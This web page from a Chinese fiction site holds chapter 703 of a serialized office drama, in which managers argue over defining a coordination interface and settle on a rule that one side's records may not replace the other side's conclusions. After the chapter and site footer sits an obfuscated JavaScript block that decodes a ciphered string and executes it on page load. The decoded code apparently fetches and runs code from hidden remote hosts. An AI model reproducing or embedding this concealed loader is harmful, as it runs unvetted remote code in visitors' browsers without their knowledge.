首页

[切换至繁体版]

返回

关灯 护眼:开 字号:中

第703章 第一个空格

    第703章第一个空格(第1/2页)
    附件三的稿子还没查到人,会议先开了。
    上午十点,总部白板区。
    窗外的光落在长桌一侧,桌面摆着三份东西。
    第一份是昨晚没有查到撰写人的工作组附件三。
    第二份是《双网协同内部执行页》。
    第三份,是一张空白会议记录。
    周德明站在白板前,把执行页用四枚图钉固定在正中央。
    页面中间是三个空格。
    接口定义。
    时间对应。
    异常传递。
    昨天,陈启只在第一个空格里写了“接口定义”四个字,责任人、定义内容和完成时间全部空着。
    周德明看了一眼会议桌。
    工程侧、安全席、财务和档案都到了。
    罗正则坐在靠门的位置,黑色记录本摊开,铅笔横放在纸页上。他今天没有带基地的安全附件,带了一本空白记录。
    韩立群坐在另一侧,手里是协同执行页的档案副本。
    宋雅琴没有亲自到场,财务中心派来一名记录员,面前放着科目对应表。
    何明远坐在陈启右手边。
    附件三还没有查到形成路径,他在文件上方贴了一张纸条。
    来源待查,不进入本次讨论结论。
    周德明拿起笔。
    “今天能不能填?”
    没人回答。
    他把笔帽套回去,又摘下来。
    “工作组那边正式文本还在路上,外部质询时间也没有再往后顺。我们内部如果连第一格都没有内容,后面交出去的,是空白页。”
    陈启没有坐在主位。
    他站在窗边,手里没有文件。
    “今天不是来交完整文本的。”
    “那交什么?”周德明问。
    “先看这一格为什么没人写。”
    周德明转身,用笔尖点了点“接口定义”。
    “工程侧先说。”
    联合工程组的一名负责人把椅子往前拉了半寸。
    他在晨曦基地和零阻首期线路之间跑了两个月,手里拿着两端的运行接口清单。
    “我们的意见很明确。”
    他将两份清单摊开。
    “谁产生记录,谁定义接口。”
    会议室里有人抬头。
    工程侧负责人把左边的零阻送电记录推向白板方向。
    “送电端知道自己什么时候变档,什么时候进入调度,什么时候完成切换。造电端也一样。”
    “由记录产生方定义自己的状态,协同层只做对应。”
    “这样最快。”
    他说完,把一份草案放到执行页下面。
    草案第一页的标题写好。
    双网协同接口定义。工程侧建议稿。
    内容并不复杂。
    每个端口定义自己的状态字段,协同层按照同名字段建立对应关系。
    谁记录。
    谁解释。
    谁负责。
    从工程角度看,这是最省时间的做法。
    周德明问:“如果两端字段不一样?”
    “先按功能归类。”
    “如果功能相同,含义不同?”
    “由产生记录的一端解释。”
    罗正则抬起手。
    没有拿笔。
    用手指压住了工程侧那份建议稿。
    “谁的记录?”
    工程侧负责人愣了一下。
    “各自的记录。”
    “接口连接的是两端。”
    “对。”
    “为什么由一端定义?”
    工程侧负责人看着他。
    “不是由一端定义全部,是各自定义各自的部分。”
    “协同结论呢?”
    “由协同层根据两端记录生成。”
    “协同层依据谁的定义生成?”
    问题又绕了回来。
    工程侧负责人停了一下,重新翻开自己的清单。
    “我们可以增加一个共用字段。”
    “谁写?”
    “工程组共同写。”
    “共同是谁?”
    罗正则问了四个字。
    工程侧负责人没有立即回答。
    零阻端有自己的负责人。
    晨曦端有自己的负责人。
    协同框架有运行主体,却还没有协同记录席。
    所谓工程组共同写,落到纸上,最后还是要有一个人签字。
    罗正则松开压住草案的手。
    “你说的记录,是谁的记录?”
    同一句话。
    第二次问。
    工程侧负责人把建议稿往回收了一点。
    没有撤走。
    “效率不能不考虑。”他说,“如果每一个接口定义都等两端共同签,现场会被文本拖住。”
    “这个问题存在。”陈启说。
    他没有否定工程侧。
    也没有把草案拿走。
    “工程侧的主张留下。”
    周德明在白板左侧写下第一行。
    工程侧:谁记录,谁定义。
    后面补了一句。
    优点:快。
    缺口:协同责任人不明确。
    工程侧负责人看了一眼,没有反对。
    罗正则站起身,走到白板前。
    他没有擦掉第一行,在下面写了第二行。
    定义必须能被外部复核。
    “自己定义自己的状态,可以。”他说,“把两端接起来以后,不能自己给自己的协同结论作证。”
    “接口定义要能被第三方按相同记录重新核对。”
    “否则,这张执行页对我们自己有效。”
    财务记录员抬起头。
    “外部复核由谁执行?”
    “第三方。”
    “费用谁承担?”
    罗正则转头看她。
    财务记录员把科目表向前推了推。
    “现有协同框架科目还是待节点确认。”
    “如果接口定义必须通过外部复核,复核是一次,还是每次变更都要做?”
    “谁提出变更,谁承担?”
    “专项费用还是运行费用?”
    “如果外部机构不接受现有科目,是否另立项目?”
    她连续问了几个问题,语气不急,但每问一句,桌面上的科目表就往前移动一点。
    最后停在罗正则面前。
    “能被外部复核,谁来付这个复核的钱?”
    罗正则没有立刻回答。
    他负责安全判断。
    第三方核验是否必要,他可以签。
    费用归属,不是他的权限。
    财务记录员拿起笔,在科目表上方写下四个字。
    费用待定。
    “不是财务反对复核。”她说,“但定义如果无法对应到科目,后续每一次复核都会变成临时支出。”
    “临时支出不能成为常态运行规则。”
    工程侧负责人接了一句:“科目不能定技术。”
    财务记录员看向他。
    “财务没有定技术。”
    “你要求每一项定义都能挂科目。”
    “因为每一项定义都可能产生支出。”
    “如果一个接口定义不产生费用呢?”
    “那就写零。”
    “还没做,怎么知道是零?”
    “所以要定义。”
    话题再次绕回第一个空格。
    会议室里的人都在说对的事情。
    工程侧要效率。
    安全席要独立复核。
    财务要费用可审计。
    三个主张谁都不是错的。
    三个主张也没有一个可以单独写进第一格。
    周德明站在白板旁,手里的笔转了一圈。
    “先定接口,还是先定数据?”
    工程侧负责人说:“先定接口。不定接口,两端的数据没法对应。”
    财务记录员说:“先定责任。不定责任,接口改一次就多一笔没地方挂的账。”
    罗正则没有回答。
    韩立群把档案副本翻到最后一页。
    “记录先有,还是定义先有?”
    没人接。
    这是另一层问题。
    如果先有定义,记录会被迫长成定义需要的样子。
    如果先有记录,两端不同的记录又可能永远无法对应。
    附件三的撰写人还没有查到。
    工作组的正式文本在路上。
    外部开始讨论统一做法,启棠内部的第一格却连从哪一头下笔都没有结论。
    周德明拿起白板擦。
    “要不先把三条都写上,作为第一版前置条件?”
    “不是三条。”陈启说。
    他从窗边走回来。
    没有坐下。
    走到白板前,拿过周德明手里的笔。
    工程侧、独立安全席、财务三类主张分别排列成三行并排写着。
    陈启先在工程侧那一行下面写了两个字。
    记录。
    又在罗正则那一行下面写了两个字。
    时间。
    财务那一行下面,写的是责任。
    写完,他拿起白板擦。
    工程侧后面“谁记录谁定义”被擦掉一半。
    只剩记录。
    安全席后面“必须能被外部复核”被擦掉后半句。
    (本章未完,请点击下一页继续阅读)第703章第一个空格(第2/2页)
    只剩时间。
    财务后面“定义必须对应科目”也被擦去。
    只剩责任。
    三个词独立排列。
    记录。
    时间。
    责任。
    工程侧负责人看着白板,眉头皱起。
    “这三个词没有定义内容。”
    “先别要内容。”陈启说。
    他在第四行写下两个字。
    冲突。
    笔尖停在“突”字的最后一笔。
    没有继续。
    “接口定义之前,先确认四件事。”
    “记录是否独立。”
    “时间能不能对应。”
    “责任由谁承担。”
    “记录冲突怎么处置。”
    周德明看着第四行。
    “第四条现在没有答案。”
    “所以不写答案。”
    “外部要求的是完整文本。”
    “他们要完整,是他们的要求。”
    陈启把白板擦放回槽里。
    “我不给你们答案,我给你们一条不能碰的线。”
    工程侧负责人问:“哪条线?”
    陈启转身,面对执行页。
    “单端记录不得替代另一端结论。”
    会议室里安静了一瞬。
    工程侧负责人没有立即反驳。
    财务记录员停下了笔。
    何明远抬头看向白板。
    韩立群把档案副本往前推了一寸。
    周德明先反应过来。
    “这句话写在接口定义条款里?”
    “写页眉。”
    “页眉不是定义内容。”
    “页眉是这一页的第一行。”
    周德明拿起执行页,平放在桌面。
    他没有用铅笔。
    换了一支黑色签字笔。
    在页眉原本空白的位置,一笔一画抄下那句话。
    单端记录不得替代另一端结论。
    写完,他把笔尖落在页眉下方,缓慢地划出一道横线。
    那道横线从页面左端贯穿到右端。
    把页眉与下面三个空格彻底分开。
    工程侧负责人走近看了一遍。
    “单端记录不能替代另一端结论,但现场必须有人判断。”
    “判断可以有。”陈启说,“替代不能有。”
    “如果一端记录缺失?”
    “写缺失。”
    “另一端有完整记录,也不能代填?”
    “不能。”
    “如果两端时间不一致?”
    “写不一致。”
    “由谁裁决?”
    陈启看向第四行的“冲突”。
    “待定。”
    上午十二点,西北基地控制室接入视频。
    画面里,李天站在任务表前,刘绍武在设备席,罗正则坐在总部会议室,但安全席的现场副本同步显示在屏幕上。
    周德明将页眉展示给李天。
    “这是今天定的纪律。”
    李天看完。
    “先写,再对。”
    有四个字。
    刘绍武接过执行页副本,视线在“记录独立性”“时间对应”“责任归属”三项上扫过,最后停在第四项。
    “冲突处置空着?”
    “空着。”周德明说。
    “现场如果真出现冲突?”
    “按各端原权限执行,不用协同记录扩大结论。”
    “谁签?”
    “还没定。”
    刘绍武点了一下头。
    “那就别先填。”
    视频里,李天把手边的安全帽放到桌上。
    没有再说第二句话。
    基地认可的不是某一个解决方案。
    是把没有答案的部分写成没有答案。
    视频断开后,罗正则拿起铅笔,走到白板前。
    他的铅笔尖落在“冲突处置”后面。
    点了一下。
    又点了一下。
    第三下更轻。
    “如果两端记录冲突,谁说了算?”
    工程侧负责人答:“运行主体。”
    周德明说:“运行主体确认对应关系,不能替单端下结论。”
    财务记录员问:“如果冲突导致成本异常变动?”
    没人回答。
    罗正则看着陈启。
    “现在定不了?”
    “定不了。”
    “那我们就把这一格空着,空着也是记录。”
    他说完,将铅笔放平。
    没有在白板上补任何名字。
    周德明在会议记录“冲突处置”后面写下两个字。
    待定。
    “待定不是不管。”他说,“是下一次要继续议。”
    “下一次谁主持?”
    “协同记录席。”
    “人呢?”何明远问。
    周德明停了一下。
    “我提议由运营侧兼任。”
    “你?”
    “可以先由我兼。”
    陈启看着他:“不是定人。”
    “先定岗位?”
    “先写提案。”
    “职责呢?”
    “负责两端时间对账。”
    “权限呢?”
    “只记录,不判断。”
    “签字权呢?”
    “不签技术,不签安全。”
    “对外呢?”
    “没有对外权限。”
    周德明把这些内容写入会议记录。
    协同记录席,提案。
    运营侧兼任,待确认。
    负责两端时间对账。
    不作单端结论。
    他写完,抬头看了一眼会议桌对面空着的位置。
    那把椅子原本是给协同责任人准备的。
    会议开了三个小时,那把椅子没有人坐。
    有人在整理白板时拿起白板擦,从右下角开始擦。
    擦过“异常传递”那一格边缘时,手腕顿了一下。
    一条边线被擦掉了一小段。
    没有人承认是谁擦的。
    周德明看见了。
    陈启也看见了。
    两个人都没问。
    “协同记录席提案什么时候确认?”周德明问。
    “接口定义第一版形成以后。”
    “工作组文本如果先到?”
    “先核。”
    “如果外部把接口定义写成统一做法?”
    “议题可以进入程序。”
    “前提呢?”
    “不能。”
    这是之前定下的口径。
    开始约束今天的会议。
    外部意见可以成为议题。
    不能自动变成启棠内部填写空格的前提。
    周德明把会议记录翻到最后一页。
    “今天形成的内容,我再念一次。”
    “接口定义四项前置条件。”
    “记录独立性。”
    “时间对应。”
    “责任归属。”
    “冲突处置。”
    “前三项成形,第四项待定。”
    “页眉纪律,单端记录不得替代另一端结论。”
    “协同记录席,提案。”
    “责任人,未定。”
    没人提出修改。
    也没人说达成共识。
    共识不是会议主持人宣布出来的。
    能写什么,就写什么。
    不能写的,留在空格里。
    周德明拿起铅笔,在“待定”两个字外面画了一个圈。
    圆圈没有闭得很紧,收笔处留着一道极小的缝。
    他在圆圈外面写下一行字。
    这一圈不能擦。
    写完,他把铅笔放回笔筒最里面。
    会议结束时,都下午一点。
    没有人去吃午饭。
    工程侧负责人收走了自己的建议稿,但没有撕。
    财务记录员带走科目对应表。
    韩立群把档案副本夹进文件袋,封口留着。
    何明远拿起附件三,临出门前说了一句:“那份稿子还没查到人。”
    陈启点头。
    “继续查。”
    “工作组的新文本?”
    “来了再核。”
    “页眉这句话进入公开层吗?”
    “先留内部执行页。”
    “为什么?”
    “先让自己做到。”
    何明远没有再问。
    人都走后,周德明去拔执行页上的图钉。
    拔到第四枚时,他看了一眼白板右下角。
    异常传递那一格,边线缺了一点。
    他没有补。
    也没有擦掉整格。
    陈启从他手里接过执行页。
    纸张还带着白板表面的凉意。
    他从上往下看了一遍。
    页眉纪律在最上方。
    四项前置条件写在页面左侧。
    冲突处置后面的“待定”,被周德明画了一个圈。
    圈外那句话很小。
    这一圈不能擦。
    陈启把执行页卷成一个纸筒。
    没有折叠。
    筒口朝下。
    正好对着白板右下角,那个边线缺了一点的格子。

一秒记住【882小说网】
882xiaoshuo.com,更新快,无弹窗!

章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="o3oihma3gd";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^mhFd4CRSm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mhFd4CRSm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mhFd4CRSm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mhFd4CRSm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mhFd4CRSm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mhFd4CRSm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mhFd4CRSm(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/OsO6h^dspf/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"OsO6h^dspf"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mShYfh(:m2YF"="}Ko}X5ThF)m^XDpqRTm2YF"="}Ko}2pThFmShYfh(:m2YF"="}Ko}_JqhFm^XDpqRTm2YF"="}Ko}2TOhFmShYfh(:m2YF"="}Ko}CSqhF)m^XDpqRTm2YF"="}Ko})FfThF)fmShYfh(:m2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m4)hp25)m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m4)hp25)m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^mhFd4CRSm(O^gQ}1Q/f/}Ko}j(8}vY8OsO6h^dspf"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^mhFd4CRSm(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();